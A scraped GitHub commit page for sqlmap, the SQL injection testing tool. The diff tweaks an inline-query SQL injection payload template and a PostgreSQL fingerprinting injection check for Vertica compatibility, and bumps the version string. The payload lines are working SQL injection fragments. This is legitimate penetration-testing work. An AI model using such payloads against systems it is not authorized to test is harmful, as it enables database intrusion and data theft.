Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit f0f1cf1

Browse files
committed
Minor patch
1 parent b25181f commit f0f1cf1

3 files changed

Lines changed: 5 additions & 3 deletions

File tree

data/xml/payloads/inline_query.xml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,8 @@
7474
<where>3</where>
7575
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
7676
<request>
77-
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
77+
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
78+
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
7879
</request>
7980
<response>
8081
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.1.31"
21+
VERSION = "1.4.1.32"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

plugins/dbms/postgresql/fingerprint.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,8 @@ def checkDbms(self):
7575
infoMsg = "testing %s" % DBMS.PGSQL
7676
logger.info(infoMsg)
7777

78-
result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
78+
# NOTE: Vertica works too without the CONVERT_TO()
79+
result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL")
7980

8081
if result:
8182
infoMsg = "confirming %s" % DBMS.PGSQL

0 commit comments

Comments
 (0)